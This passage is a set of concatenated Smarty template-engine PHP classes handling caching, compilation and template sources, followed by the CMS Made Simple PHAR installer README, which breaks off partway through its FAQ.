     * @throws SmartyException
     */
    public function startTemplate($template)
    {
        if ($this->max_template_nesting > 0 && $this->_current_template_nesting++ >= $this->max_template_nesting) {
            throw new SmartyException("maximum template nesting level of '{$this->max_template_nesting}' exceeded when calling '{$template->template_resource}'");
        }
    }

    /**
     * Exit template processing
     */
    public function endTemplate()
    {
        if ($this->max_template_nesting > 0) {
            $this->_current_template_nesting--;
        }
    }

    /**
     * Register callback functions call at start/end of template rendering
     *
     * @param \Smarty_Internal_Template $template
     */
    public function registerCallBacks(Smarty_Internal_Template $template)
    {
        $template->startRenderCallbacks[] = array($this, 'startTemplate');
        $template->endRenderCallbacks[] = array($this, 'endTemplate');
    }
}
<?php
/**
 * Created by PhpStorm.
 * User: Uwe Tews
 * Date: 04.12.2014
 * Time: 06:08
 */

/**
 * Smarty Resource Data Object
 * Cache Data Container for Template Files
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 */
class Smarty_Template_Cached extends Smarty_Template_Resource_Base
{
    /**
     * Cache Is Valid
     *
     * @var boolean
     */
    public $valid = null;

    /**
     * CacheResource Handler
     *
     * @var Smarty_CacheResource
     */
    public $handler = null;

    /**
     * Template Cache Id (Smarty_Internal_Template::$cache_id)
     *
     * @var string
     */
    public $cache_id = null;

    /**
     * saved cache lifetime in seconds
     *
     * @var integer
     */
    public $cache_lifetime = 0;

    /**
     * Id for cache locking
     *
     * @var string
     */
    public $lock_id = null;

    /**
     * flag that cache is locked by this instance
     *
     * @var bool
     */
    public $is_locked = false;

    /**
     * Source Object
     *
     * @var Smarty_Template_Source
     */
    public $source = null;

    /**
     * Nocache hash codes of processed compiled templates
     *
     * @var array
     */
    public $hashes = array();

    /**
     * Flag if this is a cache resource
     *
     * @var bool
     */
    public $isCache = true;

    /**
     * create Cached Object container
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @throws \SmartyException
     */
    public function __construct(Smarty_Internal_Template $_template)
    {
        $this->compile_id = $_template->compile_id;
        $this->cache_id = $_template->cache_id;
        $this->source = $_template->source;
        if (!class_exists('Smarty_CacheResource', false)) {
            include SMARTY_SYSPLUGINS_DIR . 'smarty_cacheresource.php';
        }
        $this->handler = Smarty_CacheResource::load($_template->smarty);
    }

    /**
     * @param Smarty_Internal_Template $_template
     *
     * @return Smarty_Template_Cached
     */
    public static function load(Smarty_Internal_Template $_template)
    {
        $_template->cached = new Smarty_Template_Cached($_template);
        $_template->cached->handler->populate($_template->cached, $_template);
        // caching enabled ?
        if (!$_template->caching || $_template->source->handler->recompiled
        ) {
            $_template->cached->valid = false;
        }
        return $_template->cached;
    }

    /**
     * Render cache template
     *
     * @param \Smarty_Internal_Template $_template
     * @param bool                      $no_output_filter
     *
     * @throws \Exception
     */
    public function render(Smarty_Internal_Template $_template, $no_output_filter = true)
    {
        if ($this->isCached($_template)) {
            if ($_template->smarty->debugging) {
                if (!isset($_template->smarty->_debug)) {
                    $_template->smarty->_debug = new Smarty_Internal_Debug();
                }
                $_template->smarty->_debug->start_cache($_template);
            }
            if (!$this->processed) {
                $this->process($_template);
            }
            $this->getRenderedTemplateCode($_template);
            if ($_template->smarty->debugging) {
                $_template->smarty->_debug->end_cache($_template);
            }
            return;
        } else {
            $_template->smarty->ext->_updateCache->updateCache($this, $_template, $no_output_filter);
        }
    }

    /**
     * Check if cache is valid, lock cache if required
     *
     * @param \Smarty_Internal_Template $_template
     *
     * @return bool flag true if cache is valid
     */
    public function isCached(Smarty_Internal_Template $_template)
    {
        if ($this->valid !== null) {
            return $this->valid;
        }
        while (true) {
            while (true) {
                if ($this->exists === false || $_template->smarty->force_compile || $_template->smarty->force_cache) {
                    $this->valid = false;
                } else {
                    $this->valid = true;
                }
                if ($this->valid && $_template->caching === Smarty::CACHING_LIFETIME_CURRENT
                    && $_template->cache_lifetime >= 0 && time() > ($this->timestamp + $_template->cache_lifetime)
                ) {
                    // lifetime expired
                    $this->valid = false;
                }
                if ($this->valid && $_template->compile_check === Smarty::COMPILECHECK_ON
                    && $_template->source->getTimeStamp() > $this->timestamp
                ) {
                    $this->valid = false;
                }
                if ($this->valid || !$_template->smarty->cache_locking) {
                    break;
                }
                if (!$this->handler->locked($_template->smarty, $this)) {
                    $this->handler->acquireLock($_template->smarty, $this);
                    break 2;
                }
                $this->handler->populate($this, $_template);
            }
            if ($this->valid) {
                if (!$_template->smarty->cache_locking || $this->handler->locked($_template->smarty, $this) === null) {
                    // load cache file for the following checks
                    if ($_template->smarty->debugging) {
                        $_template->smarty->_debug->start_cache($_template);
                    }
                    if ($this->handler->process($_template, $this) === false) {
                        $this->valid = false;
                    } else {
                        $this->processed = true;
                    }
                    if ($_template->smarty->debugging) {
                        $_template->smarty->_debug->end_cache($_template);
                    }
                } else {
                    $this->is_locked = true;
                    continue;
                }
            } else {
                return $this->valid;
            }
            if ($this->valid && $_template->caching === Smarty::CACHING_LIFETIME_SAVED
                && $_template->cached->cache_lifetime >= 0
                && (time() > ($_template->cached->timestamp + $_template->cached->cache_lifetime))
            ) {
                $this->valid = false;
            }
            if ($_template->smarty->cache_locking) {
                if (!$this->valid) {
                    $this->handler->acquireLock($_template->smarty, $this);
                } elseif ($this->is_locked) {
                    $this->handler->releaseLock($_template->smarty, $this);
                }
            }
            return $this->valid;
        }
        return $this->valid;
    }

    /**
     * Process cached template
     *
     * @param Smarty_Internal_Template $_template template object
     * @param bool                     $update    flag if called because cache update
     */
    public function process(Smarty_Internal_Template $_template, $update = false)
    {
        if ($this->handler->process($_template, $this, $update) === false) {
            $this->valid = false;
        }
        if ($this->valid) {
            $this->processed = true;
        } else {
            $this->processed = false;
        }
    }

    /**
     * Read cache content from handler
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return string|false content
     */
    public function read(Smarty_Internal_Template $_template)
    {
        if (!$_template->source->handler->recompiled) {
            return $this->handler->readCachedContent($_template);
        }
        return false;
    }
}
<?php

/**
 * Smarty Resource Data Object
 * Meta Data Container for Template Files
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 * @property   string $content compiled content
 */
class Smarty_Template_Compiled extends Smarty_Template_Resource_Base
{
    /**
     * nocache hash
     *
     * @var string|null
     */
    public $nocache_hash = null;

    /**
     * get a Compiled Object of this source
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return Smarty_Template_Compiled compiled object
     */
    public static function load($_template)
    {
        $compiled = new Smarty_Template_Compiled();
        if ($_template->source->handler->hasCompiledHandler) {
            $_template->source->handler->populateCompiledFilepath($compiled, $_template);
        } else {
            $compiled->populateCompiledFilepath($_template);
        }
        return $compiled;
    }

    /**
     * populate Compiled Object with compiled filepath
     *
     * @param Smarty_Internal_Template $_template template object
     **/
    public function populateCompiledFilepath(Smarty_Internal_Template $_template)
    {
        $source = &$_template->source;
        $smarty = &$_template->smarty;
        $this->filepath = $smarty->getCompileDir();
        if (isset($_template->compile_id)) {
            $this->filepath .= preg_replace('![^\w]+!', '_', $_template->compile_id) .
                               ($smarty->use_sub_dirs ? DIRECTORY_SEPARATOR : '^');
        }
        // if use_sub_dirs, break file into directories
        if ($smarty->use_sub_dirs) {
            $this->filepath .= $source->uid[ 0 ] . $source->uid[ 1 ] . DIRECTORY_SEPARATOR . $source->uid[ 2 ] .
                               $source->uid[ 3 ] . DIRECTORY_SEPARATOR . $source->uid[ 4 ] . $source->uid[ 5 ] .
                               DIRECTORY_SEPARATOR;
        }
        $this->filepath .= $source->uid . '_';
        if ($source->isConfig) {
            $this->filepath .= (int)$smarty->config_read_hidden + (int)$smarty->config_booleanize * 2 +
                               (int)$smarty->config_overwrite * 4;
        } else {
            $this->filepath .= (int)$smarty->merge_compiled_includes + (int)$smarty->escape_html * 2 +
                               (($smarty->merge_compiled_includes && $source->type === 'extends') ?
                                   (int)$smarty->extends_recursion * 4 : 0);
        }
        $this->filepath .= '.' . $source->type;
        $basename = $source->handler->getBasename($source);
        if (!empty($basename)) {
            $this->filepath .= '.' . $basename;
        }
        if ($_template->caching) {
            $this->filepath .= '.cache';
        }
        $this->filepath .= '.php';
        $this->timestamp = $this->exists = is_file($this->filepath);
        if ($this->exists) {
            $this->timestamp = filemtime($this->filepath);
        }
    }

    /**
     * render compiled template code
     *
     * @param Smarty_Internal_Template $_template
     *
     * @return void
     * @throws Exception
     */
    public function render(Smarty_Internal_Template $_template)
    {
        // checks if template exists
        if (!$_template->source->exists) {
            $type = $_template->source->isConfig ? 'config' : 'template';
            throw new SmartyException("Unable to load {$type} '{$_template->source->type}:{$_template->source->name}'");
        }
        if ($_template->smarty->debugging) {
            if (!isset($_template->smarty->_debug)) {
                $_template->smarty->_debug = new Smarty_Internal_Debug();
            }
            $_template->smarty->_debug->start_render($_template);
        }
        if (!$this->processed) {
            $this->process($_template);
        }
        if (isset($_template->cached)) {
            $_template->cached->file_dependency =
                array_merge($_template->cached->file_dependency, $this->file_dependency);
        }
        if ($_template->source->handler->uncompiled) {
            $_template->source->handler->renderUncompiled($_template->source, $_template);
        } else {
            $this->getRenderedTemplateCode($_template);
        }
        if ($_template->caching && $this->has_nocache_code) {
            $_template->cached->hashes[ $this->nocache_hash ] = true;
        }
        if ($_template->smarty->debugging) {
            $_template->smarty->_debug->end_render($_template);
        }
    }

    /**
     * load compiled template or compile from source
     *
     * @param Smarty_Internal_Template $_smarty_tpl do not change variable name, is used by compiled template
     *
     * @throws Exception
     */
    public function process(Smarty_Internal_Template $_smarty_tpl)
    {
        $source = &$_smarty_tpl->source;
        $smarty = &$_smarty_tpl->smarty;
        if ($source->handler->recompiled) {
            $source->handler->process($_smarty_tpl);
        } elseif (!$source->handler->uncompiled) {
            if (!$this->exists || $smarty->force_compile
                || ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
            ) {
                $this->compileTemplateSource($_smarty_tpl);
                $compileCheck = $_smarty_tpl->compile_check;
                $_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
                $this->loadCompiledTemplate($_smarty_tpl);
                $_smarty_tpl->compile_check = $compileCheck;
            } else {
                $_smarty_tpl->mustCompile = true;
                @include $this->filepath;
                if ($_smarty_tpl->mustCompile) {
                    $this->compileTemplateSource($_smarty_tpl);
                    $compileCheck = $_smarty_tpl->compile_check;
                    $_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
                    $this->loadCompiledTemplate($_smarty_tpl);
                    $_smarty_tpl->compile_check = $compileCheck;
                }
            }
            $_smarty_tpl->_subTemplateRegister();
            $this->processed = true;
        }
    }

    /**
     * compile template from source
     *
     * @param Smarty_Internal_Template $_template
     *
     * @throws Exception
     */
    public function compileTemplateSource(Smarty_Internal_Template $_template)
    {
        $this->file_dependency = array();
        $this->includes = array();
        $this->nocache_hash = null;
        $this->unifunc = null;
        // compile locking
        if ($saved_timestamp = (!$_template->source->handler->recompiled && is_file($this->filepath))) {
            $saved_timestamp = $this->getTimeStamp();
            touch($this->filepath);
        }
        // compile locking
        try {
            // call compiler
            $_template->loadCompiler();
            $this->write($_template, $_template->compiler->compileTemplate($_template));
        } catch (Exception $e) {
            // restore old timestamp in case of error
            if ($saved_timestamp && is_file($this->filepath)) {
                touch($this->filepath, $saved_timestamp);
            }
            unset($_template->compiler);
            throw $e;
        }
        // release compiler object to free memory
        unset($_template->compiler);
    }

    /**
     * Write compiled code by handler
     *
     * @param Smarty_Internal_Template $_template template object
     * @param string                   $code      compiled code
     *
     * @return bool success
     * @throws \SmartyException
     */
    public function write(Smarty_Internal_Template $_template, $code)
    {
        if (!$_template->source->handler->recompiled) {
            if ($_template->smarty->ext->_writeFile->writeFile($this->filepath, $code, $_template->smarty) === true) {
                $this->timestamp = $this->exists = is_file($this->filepath);
                if ($this->exists) {
                    $this->timestamp = filemtime($this->filepath);
                    return true;
                }
            }
            return false;
        }
        return true;
    }

    /**
     * Read compiled content from handler
     *
     * @param Smarty_Internal_Template $_template template object
     *
     * @return string content
     */
    public function read(Smarty_Internal_Template $_template)
    {
        if (!$_template->source->handler->recompiled) {
            return file_get_contents($this->filepath);
        }
        return isset($this->content) ? $this->content : false;
    }

    /**
     * Load fresh compiled template by including the PHP file
     * HHVM requires a work around because of a PHP incompatibility
     *
     * @param \Smarty_Internal_Template $_smarty_tpl do not change variable name, is used by compiled template
     */
    private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl)
    {
        if (function_exists('opcache_invalidate')
            && (!function_exists('ini_get') || strlen(ini_get("opcache.restrict_api")) < 1)
        ) {
            opcache_invalidate($this->filepath, true);
        } elseif (function_exists('apc_compile_file')) {
            apc_compile_file($this->filepath);
        }
        if (defined('HHVM_VERSION')) {
            eval('?>' . file_get_contents($this->filepath));
        } else {
            include $this->filepath;
        }
    }
}
<?php
/**
 * Smarty Config Source Plugin
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 */

/**
 * Smarty Config Resource Data Object
 * Meta Data Container for Template Files
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 */
class Smarty_Template_Config extends Smarty_Template_Source
{
    /**
     * array of section names, single section or null
     *
     * @var null|string|array
     */
    public $config_sections = null;

    /**
     * scope into which the config variables shall be loaded
     *
     * @var int
     */
    public $scope = 0;

    /**
     * Flag that source is a config file
     *
     * @var bool
     */
    public $isConfig = true;

    /**
     * Name of the Class to compile this resource's contents with
     *
     * @var string
     */
    public $compiler_class = 'Smarty_Internal_Config_File_Compiler';

    /**
     * Name of the Class to tokenize this resource's contents with
     *
     * @var string
     */
    public $template_lexer_class = 'Smarty_Internal_Configfilelexer';

    /**
     * Name of the Class to parse this resource's contents with
     *
     * @var string
     */
    public $template_parser_class = 'Smarty_Internal_Configfileparser';

    /**
     * initialize Source Object for given resource
     * Either [$_template] or [$smarty, $template_resource] must be specified
     *
     * @param Smarty_Internal_Template|null $_template         template object
     * @param Smarty|null                   $smarty            smarty object
     * @param string                        $template_resource resource identifier
     *
     * @return Smarty_Template_Config Source Object
     * @throws SmartyException
     */
    public static function load(
        ?Smarty_Internal_Template $_template = null,
        ?Smarty $smarty = null,
        $template_resource = null
    ) {
        static $_incompatible_resources = array('extends' => true, 'php' => true);
        if ($_template) {
            $smarty = $_template->smarty;
            $template_resource = $_template->template_resource;
        }
        if (empty($template_resource)) {
            throw new SmartyException('Source: Missing  name');
        }
        // parse resource_name, load resource handler
        list($name, $type) = Smarty_Resource::parseResourceName($template_resource, $smarty->default_config_type);
        // make sure configs are not loaded via anything smarty can't handle
        if (isset($_incompatible_resources[ $type ])) {
            throw new SmartyException("Unable to use resource '{$type}' for config");
        }
        $source = new Smarty_Template_Config($smarty, $template_resource, $type, $name);
        $source->handler->populate($source, $_template);
        if (!$source->exists && isset($smarty->default_config_handler_func)) {
            Smarty_Internal_Method_RegisterDefaultTemplateHandler::_getDefaultTemplate($source);
            $source->handler->populate($source, $_template);
        }
        return $source;
    }
}
<?php

/**
 * Smarty Template Resource Base Object
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 */
abstract class Smarty_Template_Resource_Base
{
    /**
     * Compiled Filepath
     *
     * @var string
     */
    public $filepath = null;

    /**
     * Compiled Timestamp
     *
     * @var integer|bool
     */
    public $timestamp = false;

    /**
     * Compiled Existence
     *
     * @var boolean
     */
    public $exists = false;

    /**
     * Template Compile Id (Smarty_Internal_Template::$compile_id)
     *
     * @var string
     */
    public $compile_id = null;

    /**
     * Compiled Content Loaded
     *
     * @var boolean
     */
    public $processed = false;

    /**
     * unique function name for compiled template code
     *
     * @var string
     */
    public $unifunc = '';

    /**
     * flag if template does contain nocache code sections
     *
     * @var bool
     */
    public $has_nocache_code = false;

    /**
     * resource file dependency
     *
     * @var array
     */
    public $file_dependency = array();

    /**
     * Content buffer
     *
     * @var string
     */
    public $content = null;

    /**
     * Included sub templates
     * - index name
     * - value use count
     *
     * @var int[]
     */
    public $includes = array();

    /**
     * Flag if this is a cache resource
     *
     * @var bool
     */
    public $isCache = false;

    /**
     * Process resource
     *
     * @param Smarty_Internal_Template $_template template object
     */
    abstract public function process(Smarty_Internal_Template $_template);

    /**
     * get rendered template content by calling compiled or cached template code
     *
     * @param \Smarty_Internal_Template $_template
     * @param string                    $unifunc function with template code
     *
     * @throws \Exception
     */
    public function getRenderedTemplateCode(Smarty_Internal_Template $_template, $unifunc = null)
    {
        $smarty = &$_template->smarty;
        $_template->isRenderingCache = $this->isCache;
        $level = ob_get_level();
        try {
            if (!isset($unifunc)) {
                $unifunc = $this->unifunc;
            }
            if (empty($unifunc) || !function_exists($unifunc)) {
                throw new SmartyException("Invalid compiled template for '{$_template->template_resource}'");
            }
            if ($_template->startRenderCallbacks) {
                foreach ($_template->startRenderCallbacks as $callback) {
                    call_user_func($callback, $_template);
                }
            }
            $unifunc($_template);
            foreach ($_template->endRenderCallbacks as $callback) {
                call_user_func($callback, $_template);
            }
            $_template->isRenderingCache = false;
        } catch (Exception $e) {
            $_template->isRenderingCache = false;
            while (ob_get_level() > $level) {
                ob_end_clean();
            }
            if (isset($smarty->security_policy)) {
                $smarty->security_policy->endTemplate();
            }
            throw $e;
        }
    }

    /**
     * Get compiled time stamp
     *
     * @return int
     */
    public function getTimeStamp()
    {
        if ($this->exists && !$this->timestamp) {
            $this->timestamp = filemtime($this->filepath);
        }
        return $this->timestamp;
    }
}
<?php

/**
 * Smarty Resource Data Object
 * Meta Data Container for Template Files
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 */
class Smarty_Template_Source
{
    /**
     * Unique Template ID
     *
     * @var string
     */
    public $uid = null;

    /**
     * Template Resource (Smarty_Internal_Template::$template_resource)
     *
     * @var string
     */
    public $resource = null;

    /**
     * Resource Type
     *
     * @var string
     */
    public $type = null;

    /**
     * Resource Name
     *
     * @var string
     */
    public $name = null;

    /**
     * Source Filepath
     *
     * @var string
     */
    public $filepath = null;

    /**
     * Source Timestamp
     *
     * @var integer
     */
    public $timestamp = null;

    /**
     * Source Existence
     *
     * @var boolean
     */
    public $exists = false;

    /**
     * Source File Base name
     *
     * @var string
     */
    public $basename = null;

    /**
     * The Components an extended template is made of
     *
     * @var \Smarty_Template_Source[]
     */
    public $components = null;

    /**
     * Resource Handler
     *
     * @var \Smarty_Resource
     */
    public $handler = null;

    /**
     * Smarty instance
     *
     * @var Smarty
     */
    public $smarty = null;

    /**
     * Resource is source
     *
     * @var bool
     */
    public $isConfig = false;

    /**
     * Template source content eventually set by default handler
     *
     * @var string
     */
    public $content = null;

    /**
     * Name of the Class to compile this resource's contents with
     *
     * @var string
     */
    public $compiler_class = 'Smarty_Internal_SmartyTemplateCompiler';

    /**
     * Name of the Class to tokenize this resource's contents with
     *
     * @var string
     */
    public $template_lexer_class = 'Smarty_Internal_Templatelexer';

    /**
     * Name of the Class to parse this resource's contents with
     *
     * @var string
     */
    public $template_parser_class = 'Smarty_Internal_Templateparser';

    /**
     * create Source Object container
     *
     * @param Smarty $smarty   Smarty instance this source object belongs to
     * @param string $resource full template_resource
     * @param string $type     type of resource
     * @param string $name     resource name
     *
     * @throws   \SmartyException
     * @internal param \Smarty_Resource $handler Resource Handler this source object communicates with
     */
    public function __construct(Smarty $smarty, $resource, $type, $name)
    {
        $this->handler =
            isset($smarty->_cache[ 'resource_handlers' ][ $type ]) ? $smarty->_cache[ 'resource_handlers' ][ $type ] :
                Smarty_Resource::load($smarty, $type);
        $this->smarty = $smarty;
        $this->resource = $resource;
        $this->type = $type;
        $this->name = $name;
    }

    /**
     * initialize Source Object for given resource
     * Either [$_template] or [$smarty, $template_resource] must be specified
     *
     * @param Smarty_Internal_Template|null $_template         template object
     * @param Smarty|null                   $smarty            smarty object
     * @param string                        $template_resource resource identifier
     *
     * @return Smarty_Template_Source Source Object
     * @throws SmartyException
     */
    public static function load(
        ?Smarty_Internal_Template $_template = null,
        ?Smarty $smarty = null,
        $template_resource = null
    ) {
        if ($_template) {
            $smarty = $_template->smarty;
            $template_resource = $_template->template_resource;
        }
        if (empty($template_resource)) {
            throw new SmartyException('Source: Missing  name');
        }
        // parse resource_name, load resource handler, identify unique resource name
        if (preg_match('/^([A-Za-z0-9_\-]{2,})[:]([\s\S]*)$/', $template_resource, $match)) {
            $type = $match[ 1 ];
            $name = $match[ 2 ];
        } else {
            // no resource given, use default
            // or single character before the colon is not a resource type, but part of the filepath
            $type = $smarty->default_resource_type;
            $name = $template_resource;
        }
        // create new source  object
        $source = new Smarty_Template_Source($smarty, $template_resource, $type, $name);
        $source->handler->populate($source, $_template);
        if (!$source->exists && isset($_template->smarty->default_template_handler_func)) {
            Smarty_Internal_Method_RegisterDefaultTemplateHandler::_getDefaultTemplate($source);
            $source->handler->populate($source, $_template);
        }
        return $source;
    }

    /**
     * Get source time stamp
     *
     * @return int
     */
    public function getTimeStamp()
    {
        if (!isset($this->timestamp)) {
            $this->handler->populateTimestamp($this);
        }
        return $this->timestamp;
    }

    /**
     * Get source content
     *
     * @return string
     * @throws \SmartyException
     */
    public function getContent()
    {
        return isset($this->content) ? $this->content : $this->handler->getContent($this);
    }
}
<?php

/**
 * class for undefined variable object
 * This class defines an object for undefined variable handling
 *
 * @package    Smarty
 * @subpackage Template
 */
class Smarty_Undefined_Variable extends Smarty_Variable
{
    /**
     * Returns null for not existing properties
     *
     * @param string $name
     *
     * @return null
     */
    public function __get($name)
    {
        return null;
    }

    /**
     * Always returns an empty string.
     *
     * @return string
     */
    public function __toString()
    {
        return '';
    }
}
<?php

/**
 * class for the Smarty variable object
 * This class defines the Smarty variable object
 *
 * @package    Smarty
 * @subpackage Template
 */
#[\AllowDynamicProperties]
class Smarty_Variable
{
    /**
     * template variable
     *
     * @var mixed
     */
    public $value = null;

    /**
     * if true any output of this variable will be not cached
     *
     * @var boolean
     */
    public $nocache = false;

    /**
     * create Smarty variable object
     *
     * @param mixed   $value   the value to assign
     * @param boolean $nocache if true any output of this variable will be not cached
     */
    public function __construct($value = null, $nocache = false)
    {
        $this->value = $value;
        $this->nocache = $nocache;
    }

    /**
     * <<magic>> String conversion
     *
     * @return string
     */
    public function __toString()
    {
        return (string)$this->value;
    }
}
--------------------------------------------------
CMS Made Simple PHAR Based Installation Assistant
--------------------------------------------------
This document describes using the CMS Made Simple PHAR Based installation assistant.

The PHAR based installation assistant is a stand-alone PHP application built to provide
the ability to install, upgrade, or freshen CMS Made Simple from within a single
easy-to-use PHP script.

-------------------
NOTE:
-------------------
The PHAR based installation assistant is a binary file and must be transferred in binary mode!

-------------------
Requirements
-------------------
1.  The installation assistant requires a PHP environment with a minimum version of PHP 8.1.
2.  The website's PHP environment must include the PHAR extension.
3.  For new installations of CMS Made Simple you should create a new mysql database and database user.
    - The database user must have ALL PRIVILEGES to all tables within the new database.
    - Your database user account must have a password.
4.  CMS Made Simple itself requires at least PHP 8.1 with numerous libraries enabled
    (the install assistant will check for these) including json, tokenizer, xml, and gd.

-------------------
Instructions
-------------------
1.  Upload the cmsms-<version>-install.php file to your website top directory.
2.  In your web browser, navigate to <your web directory>/cmsms-<version>-install.php
    For example: http://www.mywebsite.site/cmsms-3.44.55-install.php

You should now be presented with a welcome screen.  If, instead, you see a white screen it probably means that your
server is running old, or incompatible, software and that you may be forced to use the traditional installer.  It is a good
hint that if the Phar installer will not run you may have further problems with CMS Made Simple on that server.

The installation assistant can then be used to guide you through the process of installing a new version of CMSMS,
Upgrading an existing installation of CMSMS, or freshening an existing version of CMSMS. There are various options
for each path through the installation assistant and 9 steps

Step 1:
  The first step asks you to select a language and optionally allows you to enable "Advanced Mode". Advanced Mode
  enables several additional options throughout the assistant and increases the verbosity of status output.

Step 2:
  The second step does checks for existing software in your installation directory.  If an existing installation of
  CMS Made Simple is detected you will be presented with options to proceed through the "upgrade" or "freshen" paths
  (depending upon the version detected). If no version of CMS Made Simple is installed you will be guided through the
  "installation" process.

Step 3:
  Step 3 performs various tests on your PHP environment to try to ensure that it is compatible with
  CMS Made Simple. If important tests fail, you will be notified of them and not allowed to continue. However, if
  some non-critical tests fail you will be allowed to continue. We recommend that you adjust your PHP environment
  (you may need to contact your host for assistance) until all tests pass.

Step 4:
  This step is used only during installation and freshen sessions. It asks you to provide basic configuration information
  for the CMS Made Simple environment. This includes database information and credentials, and a server time zone.

  As mentioned in the requirements above, CMSMS requires a mysql database to store data, and user credentials to access
  that mysql database. The user account provided must have ALL PRIVILEGES to the database. You can normally create
  databases, and create user accounts for database from within your web host's control panel.

  Additionally, you are asked to specify the time zone of the server (not your local time zone). You may need to ask your
  host for information about this.

  Upon submit, the installation assistant will validate your database credentials, and check the database to ensure
  you are not accidentally overwriting an existing installation of CMSMS.

Step 5:
  This step is used only during an installation session. It asks you to provide basic credentials of the first admin user
  account. This admin user account allows you to log in to the CMSMS admin console with all privileges and access to all
  of its functionality. From within the CMSMS admin console you can create user groups, and further user accounts
  for additional site managers or editors.

  Unless you have enabled "advanced mode" in step 1, you must also provide an email address. The email address will be
  used to send you your login credentials in the event of a lost or forgotten password.

Step 6:
  This step asks you for a human readable name for your website, and allows you to select additional language packs to install.

  Additional language packs allow users who login to the CMSMS admin console to display the output in their native language.
  Please note: although there are multiple languages available, not all of them are complete.

Step 7:
  This step copies all of the CMSMS core files from within the installation assistant into your CMS Made Simple install.
  It also cleans up those files.

Step 8:
  This step interacts with the database to ensure that all tables and initial content are created properly.

  During the installation process numerous tables and indexes are created in the database, and necessary initial data are installed.
  Additionally (if so selected) sample site-content is installed. That provides useful instruction on how to interact with,
  and build sites with, CMS Made Simple. It is recommended reading.

  During an upgrade session, any necessary database changes are performed to ensure that the database tables, and their contents,
  are compatible with the new version of CMSMS.

Step 9:
  This step finishes the installation and performs a clean-up.

  During the installation process all core modules and selected non-core modules (if any) are installed, necessary temporary directories created, and the configuration file
  is written.

  During the upgrade process core modules and selected non-core modules (if any) are upgraded if necessary, and a new version of the configuration file is written.
  Any existing configuration file is backed up for safety.  Additionally, the CMSMS cache is cleared.

  After everything is complete you will be presented with links to either visit the CMSMS website, or to log in to its admin console.

-----------
Afterwards
-----------

After confirming that the site is working as expected, confirm that the installer .php file and related folder (with all its contents)
have been deleted from the server. If not so, delete them manually, using the site's file manager (in cPanel or the like).
Likewise for any intaller.ini file, in the site-root folder, that was used to facilitate the installer session.

---------------------
Additional Features
---------------------
The single installation assistant package provides these features:
1.  Installing a new version of CMSMS into an empty directory.
2.  Upgrading an existing version of CMSMS to a new version
3.  Freshening (or repairing) an existing installation of CMSMS
    This option may be useful for fixing a corrupted installation of CMSMS.  Only available when the current version of CMSMS and the new version are identical, it will replace all of the core files with those distributed by the system and re-generate a new config.php file.
4.  Installing additional language packages
    As part of the "Freshen" functionality, when repairing an installation you have the option to install additional language packs.
5.  Advanced vs. Simple mode

---------------------------
Parameter Details
---------------------------

1.  tmpdir=/absolute/path
    Specify the absolute path to the directory to be used for temporary files.  This directory must be writable by the PHP process.  This option should not be needed on most hosts.
2.  debug=true
    Attempt turn on error reporting, and to display some meaningful help information.
3.  nobase=true
    Do not output a base href tag in the generated HTML.
4.  dest=/absolute/path
    Allow specifying a custom destination directory (must be an absolute path).
5.  nofiles=true
    Do not overwrite files.  This is useful when needing to setup the database when the files have been manually extracted from the source code repository.
6.  clear=true
    Usable only on the first step, this will ensure that all preset config information is cleared from the session (for development purposes only).

---------------------------
Frequently Asked Questions
---------------------------
Q: What is a PHAR?
A: A Phar is a single, self contained, executable PHP Archive.  It allows us to distribute the CMSMS installation assistant as a single file even though it contains numerous libraries, classes, stylesheets, and scripts. This allows CMSMS users to install, upgrade or freshen their CMSMS systems by  uploading a single file to their web server.

Q: Why is there a .php file inside the archive, and not a .phar?
A: Most web servers are not configured to treat files ending with .phar as executable PHP scripts.  Therefore we have renamed the file as a .php file so that web servers will know to execute the script.  Please note however, that this is a binary file and must be treated as such.

Q:  How do I upload this thing via FTP?
A:  We do not recommend FTP as a file transfer mechanism.  In fact, we highly discourage it.

    If your only mechanism to transfer files is via FTP because your host does not support shell/sftp or does not provide a reasonable web control panel with upload and unzip capabilities, then that could indicate that the host is not running up-to-date software, and you may have further difficulties.  Consider evaluating and moving to a different host.

    If you still insist on using FTP then use a decent FTP client (such as filezilla) and ensure that you transfer ALL files in binary mode.

Q: I get a message saying: "unable to create temporary file for decompression of gzipped phar archive"
A: Some hosts have restricted PHP's write access to the system temporary directory, which the installer needs to expand archives.  However there is a mechanism to use a different temporary directory for the installer.
   You can add a TMPDIR=/absolute/path/to/writable/directory argument to the URL on the first page.  If this directory is writable it will be used for storing temporary files throughout the execution of the installation assistant.

Q: The installation assistant says it cannot write to all files in the directory.  Why?
A: The installation assistant is capable of upgrading from different different versions of CMSMS, and to do that it must be able to create, update, and delete files.  Including the config.php file.  In order to do that the PHP processor it must be able to write to each and every file and directory in the installation directory.

   Additionally, the installation assistant will change the permissions on the config.php file so that by default it is protected.  When performing an installation, or an upgrade you may need to manually change these permissions so that the installation assistant can adjust your config.php file.

Q: I Get a white screen, what can I do?
A: A white screen indicates an error of some sort.  It can be caused by permissions problems, an incompatible host, or something else.  There are a few things to try:
   1.  Try to browse to the README-PHAR.TXT file with your browser.  If that also generates a white screen then it is indicative of permissions or .htaccess limitations.
       Note:  Depending upon host configuration, Some hosts do not allow browseable files to be writable, or even readable by users other than the file owner.  You can try changing the permissions of the extracted files to 600.
   2.  Rename your .htaccess file(s) out of the way.  (Rewrite rules and bad configuration options in the .htaccess file can cause 500 errors).
   3.  Enable and find your php error logs so that you can find an actual error message to aide in further diagnosis.
   4.  Add ?debug=1 to the URL for the installer.  This will attempt to enable a simple debug mode.  This, depending on your host configuration may allow you to see error messages.

Q:  I still get a white screen, and I've enabled debug mode... now what?
